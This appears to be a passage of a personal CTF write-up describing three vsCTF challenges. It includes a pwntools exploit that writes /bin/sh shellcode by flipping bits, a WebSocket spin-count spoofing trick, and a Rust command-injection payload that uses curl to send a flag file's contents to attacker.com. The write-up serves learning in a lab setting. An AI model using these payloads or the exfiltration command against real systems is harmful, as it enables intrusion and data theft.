28
29
30
31
32
33
34
def mem_leak(addr):
"""
Return the byte stored in addr as its bits
"""
print("-----SENDING ADDDR {}-----".format(addr))
p.sendlineafter(b"Enter an address to send a cosmic ray through:\n", f"{addr}")
#p.interactive()
p.recvline() # empty line
p.recvline() # |0|1|2|3|4|5|6|7|
p.recvline() # -----------------
ret = p.recv(18) # The actual bits
p.sendlineafter(b"Enter the bit position to flip:\n", "0") # We'll immedaitly flip this back afterwards to not ruin anything
flip_bit(addr, 0)
return ret[0:].split(b"|")[1:9] # Split with the "|" character
def write_byte(addr, byte):
"""
Write the byte <val> to the address <addr>
"""
leak = mem_leak(addr) # Get the current value of the byte as a list
to_flip = [] # Which bits should we flip to get to the desired byte?
for i in range(8):
# Is the bit at position i of <byte> the same as currently
# held in the address?
if ord(leak[i]) - 0x30 == (byte >> (7 - i)) & 1:
to_flip.append(b"0")
else:
to_flip.append(b"1")
for i in range(8):
if to_flip[i] == b"1":
flip_bit(addr, i)
To get a shell, we overwrite the instructions in main after the call to cosmic_ray
with a shellcode, and then flip the shl %cl, %ebx
back to a RET
to stop the infinite loop: Now when we return from cosmic_ray
the shellcode will get executed. I used this 22-byte shellcode, which is longer than the bytes we have in main, but this doesn’t really matter. To write the shellcode, we use the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SHELLCODE_START = 0x004015e5 # Address where we write the shellcode
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" # Taken from here https://www.exploit-db.com/exploits/41174
print("[+] Finished writing the shellcode of length {}".format(len(shellcode)))
infinite_loop()
for i in range(len(shellcode)):
print("Writing byte {}".format(i))
write_byte(hex(SHELLCODE_START+i), shellcode[i])
print("Wrote byte {}".format(i))
print("[+] Finished writing the shellcode of length {}".format(len(shellcode)))
stop_infinite_loop()
p.interactive()
This gives us a shell!
BTW, the script shown here is slightly edited for the sake of clarity. If you’re curious about the original script I used in the CTF, here it is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
#p = process("./cosmicrayv3")
p = remote("[vsc.tf](http://vsc.tf)", 7000)
RET_ADDR = 0x00000000004015aa # ret at the end of cosmic_ray
SHELLCODE_START = 0x004015e5 # Address where we write the shellcode
def flip_bit(addr, bit):
p.sendlineafter(b"Enter an address to send a cosmic ray through:\n", f"{addr}")
p.sendlineafter(b"Enter the bit position to flip:\n", f"{bit}")
def infinite_loop():
# ret at the end of the cosmic_ray function
flip_bit(hex(RET_ADDR), 3)
def stop_infinite_loop():
# flip it back to ret
flip_bit(hex(RET_ADDR), 3)
def mem_leak(addr):
"""
Return the byte stored in addr as its bits
"""
print("-----SENDING ADDDR {}-----".format(addr))
p.sendlineafter(b"Enter an address to send a cosmic ray through:\n", f"{addr}")
#p.interactive()
p.recvline()
p.recvline()
p.recvline()
ret = p.recv(18)
p.sendlineafter(b"Enter the bit position to flip:\n", "0") # We'll immedaitly flip this back afterwards to not ruinn anything
flip_bit(addr, 0)
print("ret is {}".format(ret))
return ret[0:].split(b"|")[1:9]
def write_byte(addr, byte):
"""
Write the byte <val> to the address <addr>
"""
leak = mem_leak(addr) # Get the current value of the byte as a list
to_flip = [] # Which bits should we flip to get to the desired byte?
print("leak is {}", leak)
for i in range(8):
if ord(leak[i]) - 0x30 == (byte >> (7 - i)) & 1:
to_flip.append(b"0")
else:
to_flip.append(b"1")
for i in range(8):
if to_flip[i] == b"1":
flip_bit(addr, i)
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
print("[+] Finished writing the shellcode of length {}".format(len(shellcode)))
infinite_loop()
for i in range(len(shellcode)):
print("Writing byte {}".format(i))
write_byte(hex(SHELLCODE_START+i), shellcode[i])
print("Wrote byte {}".format(i))
print("[+] Finished writing the shellcode of length {}".format(len(shellcode)))
stop_infinite_loop()
p.interactive()
Overall, a really cool challenge that shows how much you can do with just a single bit flip!
Spinner (Web)
In this challenge, we get a web page and the server-side code: Like the name of the challenge suggests, if we complete a full spin of our mouse cursor around the red dot, the number gets incremented by 1. The goal is to get to 10000 spins. Let’s look at the page source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html lang="en">
<head>
...Removed for brevity...
</head>
<body>
<div id="centerPoint"></div>
<div id="spinCount">0</div>
<script>
const centerX = window.innerWidth / 2;
const centerY = window.innerHeight / 2;
const centerPoint = document.getElementById('centerPoint');
const spinCountDiv = document.getElementById('spinCount');
centerPoint.style.left = centerX - 5 + 'px';
centerPoint.style.top = centerY - 5 + 'px';
const socket = new WebSocket(`wss://${window.location.host}/ws`);
socket.addEventListener('open', () => {
console.log('connected');
});
socket.addEventListener('message', (event) => {
const data = JSON.parse(event.data);
if (data.spins !== undefined) {
spinCountDiv.textContent = `${data.spins}`;
}
if (data.message) {
alert(data.message);
}
});
document.addEventListener('mousemove', (event) => {
const { clientX, clientY } = event;
const message = {
x: clientX,
y: clientY,
centerX: centerX,
centerY: centerY
};
socket.send(JSON.stringify(message));
});
</script>
</body>
</html>
Let’s go through the code:
- It finds the coordinates of the center of the page, and moves the redDot (id
centerPoint
) there - It opens a WebSocket to
wss://spinner.vsc.tf/ws
. If you don’t know much about WebSockets, you can check out the post I made about them here. The post also shows how to implemented a WebSocket server from scratch! - It then adds several event listeners:
- When the socket is opened, the string
connected
is logged to the browser console. - When we get a message from the other end of the socket (the server), we parse the data of the message as JSON. The message can contain either the updated number of spins, on which case we change the amount shown in the client-side, or a message, in which case we alert the message
- When the mouse is moved, we send a message to the server that contains the current X and Y of our mouse pointer, and the coordinates of the center point This is interesting, because the supposed mouse coordinates the server is sent are completely controlled by the user. To figure out how to exploit this, let’s check out the server-side code (only a relevant excerpt is shown):
- When the socket is opened, the string
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
wss.on('connection', (ws) => {
const clientData = {
spins: 0,
cumulativeAngle: 0,
lastAngle: null,
touchedPoints: []
};
clients.set(ws, clientData);
ws.on('message', (message) => {
const data = JSON.parse(message);
const client = clients.get(ws);
if (client) {
const { x, y, centerX, centerY } = data;
if (client.touchedPoints.some(point => point.x === x && point.y === y)) {
return;
}
client.touchedPoints.push({ x, y });
const currentAngle = Math.atan2(y - centerY, x - centerX) * (180 / Math.PI);
if (client.lastAngle !== null) {
let delta = currentAngle - client.lastAngle;
if (delta > 180) delta -= 360;
if (delta < -180) delta += 360;
client.cumulativeAngle += delta;
while (Math.abs(client.cumulativeAngle) >= 360) {
client.cumulativeAngle -= 360 * Math.sign(client.cumulativeAngle);
client.spins += 1;
}
ws.send(JSON.stringify({ spins: client.spins }));
if (client.spins >= 9999) {
ws.send(JSON.stringify({ message: process.env.FLAG ?? "vsctf{test_flag}" }));
client.spins = 0;
}
}
client.lastAngle = currentAngle;
}
});
ws.on('close', () => {
clients.delete(ws);
});
});
Let’s analyze the code:
- It initializes the following data for the client:
culminativeAngle
,spins
,lastAngle
, andtouchedPoints
- Upon getting a message from the client, it parses the provided
x
,y
, and the coordinates of the center points. This is the message sent by themousemove
event listener in the client-side JS we looked at earlier - If the client has already touched the provided point, we don’t do anything
- Otherwise, we add it to the list of touched points, and compute
Math.atan2(y - centerY, x - centerX) * (180 / Math.PI);
. The atan2 function performs the following: Image taken from wikipedia Running it on the point(y - centerY, x - centerX)
gives the angle between the center point and point the mouse is on - Add the delta between the last angle and the current angle to the culminative angle
- If the angle is more than 360 (we completed a full spin), add 1 to the spins and send it to the client
- If the client completed more than 9999 spins, send the flag The idea of the exploit is simple:
- Find a sequence of points that makes the server think we completed a spin
- Repeat 10000 times
- Get the flag I used the sequence
(centerX+i, centerY-i), (centerX-i, centerY-i), (centerX-i, centerY-(i-1)), (centerX-i, centerY+(i-1))
, illustrated in the below figure: The exploit code is shown here: This gives us the flag!vs-gateway (pwn)
This was a pretty weird challenge for me, because I expected it to be far harder than it actually was. We are given a binary
gateway
and its Rust (yay!) source code. Themain
function looks like this:
1
2
3
4
5
6
7
8
9
10
fn main() {
println!("----------------------------");
println!("| VS Gateway |");
println!("----------------------------");
if auth(){
run();
}
process::exit(0);
}
It seems to authenticate the user using auth
and then call run
. Let’s look at auth
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
fn check_password(password: String) -> bool{
let digest = md5::compute(password.trim());
// 123456
if format!("{:x}", digest) == "e10adc3949ba59abbe56e057f20f883e" {
true
}
else{
false
}
}
fn auth() -> bool{
let mut username = String::new();
let mut password = String::new();
print!("Username: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut username).expect("Cannot read username!");
print!("Password: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut password).expect("Cannot read username!");
if username.trim() == "admin" && check_password(password){
println!("Access granted!");
true
}
else{
println!("Access forbidden!");
false
}
}
It just compares the username with admin
and the MD5 hash of the password with e10adc3949ba59abbe56e057f20f883e
. A quick Google search yields that e10adc3949ba59abbe56e057f20f883e
is the hash of the string 123456
. Let’s test this: We’re in! Here is the code of the run
function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
fn run(){
let mut choice;
let mut input = String::new();
// Load the data from /tmp/<random ID>.conf
load_data();
//
show_properties();
loop {
menu();
input.clear();
io::stdin().read_line(&mut input).expect("Cannot read input!");
choice = match input.trim().parse() {
Ok(num) => num,
_ => 0
};
match choice {
1 => show_properties(),
2 => change_essid(),
3 => change_wifi_band(),
4 => change_channel(),
5 => change_wifi_password(),
6 => {
unsafe{
fs::remove_file(format!("/tmp/{ID}.conf")).unwrap();
}
break
},
_ => {
println!("Invalid choice!");
},
}
}
}
It starts by calling the load_data
function, which generates a random ID and saves some properties under the file /tmp/<random ID>
. The properties themselves aren’t very interesting. Afterwards, it displays the properties using show_properties
, and starts a menu loop. The properties are saved as static mut
variables (unsafe Rust), and are then accessed and changed by the menu functions. This was pretty misleading: all the unsafe stuff is just a red herring (as far as I know). The actual problem is located in the change_wifi_password
function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
fn change_wifi_password(){
let mut input: String = String::new();
unsafe{
println!("Current password: {WIFI_PASSWORD}");
print!("New password: ");
io::stdout().flush().unwrap();
input.clear();
io::stdin().read_line(&mut input).expect("Failed to readline");
WIFI_PASSWORD = input.trim().to_owned();
println!("Done!");
}
save_properties_to_file();
}
It reads an input into the global variable WIFI_PASSWORD
, and then calls save_properties_to_file
:
1
2
3
4
5
6
7
8
9
10
fn save_properties_to_file(){
unsafe{
let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
Command::new("/bin/sh")
.arg("-c")
.arg(cmd)
.output()
.expect("Failed to execute command");
}
}
This functions runs a shell command using an attacker controlled input (the global variables are controlled by an attacker; specifically WIFI_PASSWORD
can be any string we want). Cleaning this up a bit, the actual command that is run is
1
echo "{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}" > /tmp/{ID}.conf
Our input isn’t validated, so we can inject the following payload:
1
;" ls ".
This will result in the following command being executed:
1
echo "{ESSID}\\n{BAND}\\n{CHANNEL}\\n;" ls"." > /tmp/{ID}.conf
To exfiltrate the flag, we use:
1
;" curl "https://attacker.com/$(cat /home/user/flag.txt | tr -d '\n')
This sends an HTTP request to attacker.com
, with a path of the contents of /home/user/flag.txt
. We remove newlines just in case. This gives us the flag! We get a request to the following path:
1
https://webhook.site/8cded561-e040-4923-a283-85cca08e0773/vsctf1s_1t_tru3_wh3n_rust_h4s_c0mm4nd_1nj3ct10n!??
Summary
The challenges in the CTF were very creative and cool! I learned new things, and had a lot of fun. Thanks for reading! Yoray❤️